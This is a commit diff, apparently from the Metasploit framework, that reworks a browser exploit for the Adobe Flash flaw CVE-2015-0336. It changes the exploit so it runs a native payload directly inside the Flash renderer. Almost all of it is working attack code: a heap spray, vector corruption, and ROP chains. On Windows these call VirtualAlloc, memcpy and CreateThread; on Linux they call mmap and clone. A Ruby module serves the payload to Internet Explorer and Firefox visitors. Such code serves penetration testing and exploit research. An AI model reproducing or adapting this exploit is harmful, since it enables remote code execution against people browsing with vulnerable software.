Skip to content

Commit 74117a7

Browse files
committed
Allow to execute payload from the flash renderer
1 parent 9713fe7 commit 74117a7

File tree

8 files changed

+127
-41
lines changed

8 files changed

+127
-41
lines changed

data/exploits/CVE-2015-0336/msf.swf

177 Bytes
Binary file not shown.
-1 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-0336/Exploit.as

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,9 @@ package
2828
private var interval_id:uint
2929
private var trigger_swf:String
3030
private var b64:Base64Decoder = new Base64Decoder()
31-
private var payload:String
31+
private var payload:ByteArray
3232
private var platform:String
33+
private var original_length:uint = 0
3334

3435
public function Exploit()
3536
{
@@ -40,21 +41,23 @@ package
4041
var pattern:RegExp = / /g;
4142
b64_payload = b64_payload.replace(pattern, "+")
4243
b64.decode(b64_payload)
43-
payload = b64.toByteArray().toString()
44+
payload = b64.toByteArray()
4445

4546
if (platform == 'win') {
47+
original_length = 0x1e
4648
for (i = 0; i < 89698; i = i + 1) {
4749
spray[i] = new Vector.<uint>(1014)
4850
spray[i][0] = 0xdeadbeef
4951
spray[i][1] = 0xdeedbeef
5052
spray[i][2] = i
51-
spray[i][29] = 0x1a1e1429
53+
spray[i][29] = 0x14951429
5254
}
5355

5456
for(i = 0; i < 89698; i = i + 1) {
5557
spray[i].length = 0x1e
5658
}
57-
} else if (platform == 'linux') {
59+
} else if (platform == 'linux') {
60+
original_length = 1022
5861
for (i = 0; i < 89698; i = i + 1) {
5962
spray[i] = new Vector.<uint>(1022)
6063
spray[i][0] = 0xdeadbeef
@@ -97,9 +100,11 @@ package
97100
for(var i:uint = 0; i < spray.length; i = i + 1) {
98101
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
99102
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
100-
spray[i][0x3ffffffe] = 0xffffffff
101-
spray[i][0x3fffffff] = spray[i][1023]
102-
uv = spray[i]
103+
spray[i][1022] = 0xffffffff
104+
spray[i + 1][0x3ffffbff] = spray[i][1023]
105+
spray[i + 1][0x3ffffbfe] = original_length
106+
uv = spray[i + 1]
107+
break
103108
}
104109
}
105110

external/source/exploits/CVE-2015-0336/ExploitByteArray.as

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@ package
3131

3232
public function lets_ready():void
3333
{
34-
Logger.log("[*] ExploitByteArray - lets_ready()")
3534
ba.endian = "littleEndian"
3635
if (platform == "linux") {
3736
ba.length = 0xffffffff
@@ -40,7 +39,6 @@ package
4039

4140
public function is_ready():Boolean
4241
{
43-
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
4442
if (ba.length == 0xffffffff)
4543
return true
4644

@@ -72,10 +70,15 @@ package
7270

7371
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
7472
{
73+
var i:uint
74+
7575
if (addr) ba.position = addr
7676
if (value is String) {
77-
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
77+
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
7878
if (zero) ba.writeByte(0)
79+
} else if (value is ByteArray) {
80+
var value_length:uint = value.length
81+
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
7982
} else ba.writeUnsignedInt(value)
8083
}
8184
}

external/source/exploits/CVE-2015-0336/Exploiter.as

Lines changed: 89 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ package
99
private var exploit:Exploit
1010
private var ev:ExploitVector
1111
private var eba:ExploitByteArray
12-
private var payload:String
12+
private var payload:ByteArray
1313
private var platform:String
1414
private var pos:uint
1515
private var byte_array_object:uint
@@ -25,7 +25,7 @@ package
2525
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2626
private var spray:Vector.<Object> = new Vector.<Object>(89698)
2727

28-
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
28+
public function Exploiter(exp:Exploit, pl:String, p: ByteArray, uv:Vector.<uint>):void
2929
{
3030
exploit = exp
3131
payload = p
@@ -147,11 +147,16 @@ package
147147
var pe:PE = new PE(eba)
148148
var flash:uint = pe.base(vtable)
149149
var winmm:uint = pe.module("winmm.dll", flash)
150-
var kernel32:uint = pe.module("kernel32.dll", winmm)
150+
var kernel32:uint = pe.module("kernel32.dll", winmm)
151+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
151152
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
152153
var winexec:uint = pe.procedure("WinExec", kernel32)
154+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
155+
var createthread:uint = pe.procedure("CreateThread", kernel32)
156+
var memcpy:uint = pe.procedure("memcpy", ntdll)
153157
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
154158
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
159+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
155160

156161
// Continuation of execution
157162
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@@ -169,17 +174,35 @@ package
169174
eba.write(0, virtualprotect)
170175

171176
// VirtualProtect
172-
eba.write(0, winexec)
177+
eba.write(0, virtualalloc)
173178
eba.write(0, buffer + 0x10)
174179
eba.write(0, 0x1000)
175180
eba.write(0, 0x40)
176181
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
177182

178-
// WinExec
179-
eba.write(0, buffer + 0x10)
183+
// VirtualAlloc
184+
eba.write(0, memcpy)
185+
eba.write(0, 0x70000000)
186+
eba.write(0, 0x4000)
187+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
188+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
189+
190+
// memcpy
191+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
192+
eba.write(0, 0x70000000)
180193
eba.write(0, payload_address + 8)
181-
eba.write(0)
194+
eba.write(0, payload.length)
182195

196+
// CreateThread
197+
eba.write(0, createthread)
198+
eba.write(0, buffer + 0x10) // return to fix things
199+
eba.write(0, 0)
200+
eba.write(0, 0)
201+
eba.write(0, 0x70000000)
202+
eba.write(0, 0)
203+
eba.write(0, 0)
204+
eba.write(0, 0)
205+
183206
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
184207
exploit.toString() // call method in the fake vtable
185208
}
@@ -192,6 +215,8 @@ package
192215
var libc:Elf = new Elf(eba, feof)
193216
var popen:uint = libc.symbol("popen")
194217
var mprotect:uint = libc.symbol("mprotect")
218+
var mmap:uint = libc.symbol("mmap")
219+
var clone:uint = libc.symbol("clone")
195220
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
196221
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
197222
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@@ -204,9 +229,23 @@ package
204229
// 2) Recover original stack
205230
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
206231

232+
// my_memcpy
233+
eba.write(buffer + 0x60, "\x56", false) // push esi
234+
eba.write(0, "\x57", false) // push edi
235+
eba.write(0, "\x51", false) // push ecx
236+
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
237+
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
238+
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
239+
eba.write(0, "\xF3\xA4", false) // rep movsb
240+
eba.write(0, "\x59", false) // pop ecx
241+
eba.write(0, "\x5f", false) // pop edi
242+
eba.write(0, "\x5e", false) // pop esi
243+
eba.write(0, "\xc3", false) // ret
244+
245+
// eba.write(buffer + 0x10, "\xcc\xcc\xcc\xcc", false)
246+
207247
// Put the popen parameters in memory
208-
eba.write(payload_address + 8, 'r', true) // type
209-
eba.write(payload_address + 0xc, payload, true) // command
248+
eba.write(payload_address + 0x8, payload, true) // false
210249

211250
// Put the fake stack/vtable on memory
212251
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@@ -221,13 +260,49 @@ package
221260
eba.write(0, buffer) // addr
222261
eba.write(0, 0x1000) // size
223262
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
224-
// Return to popen()
225-
eba.write(stack_address + 0x18068, popen)
263+
264+
// Return to mmap()
265+
eba.write(stack_address + 0x18068, mmap)
266+
// Return to stackpivot (jmp over mmap parameters)
267+
eba.write(0, addesp2cret)
268+
// mmap() code segment arguments
269+
eba.write(0, 0x70000000) // 0x70000000
270+
eba.write(0, 0x4000) // size
271+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
272+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
273+
eba.write(0, 0xffffffff) // filedes
274+
eba.write(0, 0) // offset
275+
276+
// Return to mmap()
277+
eba.write(stack_address + 0x1809c, mmap)
278+
// Return to stackpivot (jmp over mmap parameters)
279+
eba.write(0, addesp2cret)
280+
// mmap() stack segment arguments
281+
eba.write(0, 0x70008000) // NULL
282+
eba.write(0, 0x10000) // size
283+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
284+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
285+
eba.write(0, -1) // filedes
286+
eba.write(0, 0) // offset
287+
288+
// Return to memcpy()
289+
eba.write(stack_address + 0x180d0, buffer + 0x60)
290+
// Return to stackpivot (jmp over memcpy parameters)
291+
eba.write(0, addesp2cret)
292+
// memcpy() parameters
293+
eba.write(0, 0x70000000)
294+
eba.write(0, payload_address + 0x8)
295+
eba.write(0, payload.length)
296+
297+
// Return to clone()
298+
eba.write(stack_address + 0x18104, clone)
226299
// Return to CoE (fix stack and object vtable)
227300
eba.write(0, buffer + 0x10)
228-
// popen() argument
229-
eba.write(0, payload_address + 0xc)
230-
eba.write(0, payload_address + 8)
301+
// clone() arguments
302+
eba.write(0, 0x70000000) // code
303+
eba.write(0, 0x7000bff0) // stack
304+
eba.write(0, 0x00000100) // flags CLONE_VM
305+
eba.write(0, 0) // args
231306

232307
//call DWORD PTR [eax+0x24]
233308
//EAX: 0x41414141 ('AAAA')

external/source/exploits/CVE-2015-0336/PE.as

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ package
1111

1212
public function base(addr:uint):uint
1313
{
14-
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
1514
addr &= 0xffff0000
1615
while (true) {
1716
if (eba.read(addr) == 0x00905a4d) return addr
@@ -54,10 +53,20 @@ package
5453
public function gadget(gadget:String, hint:uint, addr:uint):uint
5554
{
5655
var find:uint = 0
56+
var contents:uint = 0
5757
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
5858
var value:uint = parseInt(gadget, 16)
59-
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
60-
return addr + i
59+
60+
for (var i:uint = 0; i < limit - 4; i++) {
61+
contents = eba.read(addr + i)
62+
if (hint == 0xffffffff && value == contents) {
63+
return addr + i
64+
}
65+
if (hint != 0xffffffff && value == (contents & hint)) {
66+
return addr + i
67+
}
68+
}
69+
throw new Error()
6170
}
6271
}
6372
}

external/source/exploits/CVE-2015-0336/Trigger/src/Main.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ class Main
44
{
55
public static function main(swfRoot:MovieClip):Void
66
{
7-
var _loc2_ = _global.ASnative(2100, 0x1a1e2000);
7+
var _loc2_ = _global.ASnative(2100, 0x14950000);
88
var _loc3_ = new Object();
99
_loc2_.__proto__ = _loc3_;
1010
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor

modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb

Lines changed: 7 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

11-
include Msf::Exploit::Powershell
1211
include Msf::Exploit::Remote::BrowserExploitServer
1312

1413
def initialize(info={})
@@ -44,8 +43,8 @@ def initialize(info={})
4443
{
4544
'DisableNops' => true
4645
},
47-
'Platform' => ['win', 'unix'],
48-
'Arch' => [ARCH_X86, ARCH_CMD],
46+
'Platform' => ['win', 'linux'],
47+
'Arch' => [ARCH_X86],
4948
'BrowserRequirements' =>
5049
{
5150
:source => /script|headers/i,
@@ -57,7 +56,7 @@ def initialize(info={})
5756
:ua_name => lambda do |ua|
5857
case target.name
5958
when 'Windows'
60-
return true if ua == Msf::HttpClients::IE
59+
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
6160
when 'Linux'
6261
return true if ua == Msf::HttpClients::FF
6362
end
@@ -79,14 +78,12 @@ def initialize(info={})
7978
[
8079
[ 'Windows',
8180
{
82-
'Platform' => 'win',
83-
'Arch' => ARCH_X86
81+
'Platform' => 'win'
8482
}
8583
],
8684
[ 'Linux',
8785
{
88-
'Platform' => 'unix',
89-
'Arch' => ARCH_CMD
86+
'Platform' => 'linux'
9087
}
9188
]
9289
],
@@ -117,15 +114,12 @@ def on_request_exploit(cli, request, target_info)
117114

118115
def exploit_template(cli, target_info)
119116
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
117+
target_payload = get_payload(cli, target_info)
118+
b64_payload = Rex::Text.encode_base64(target_payload)
120119

121120
if target.name =~ /Windows/
122-
target_payload = get_payload(cli, target_info)
123-
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
124-
b64_payload = Rex::Text.encode_base64(psh_payload)
125121
platform_id = 'win'
126122
elsif target.name =~ /Linux/
127-
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
128-
b64_payload = Rex::Text.encode_base64(target_payload)
129123
platform_id = 'linux'
130124
end
131125

0 commit comments

Comments
 (0)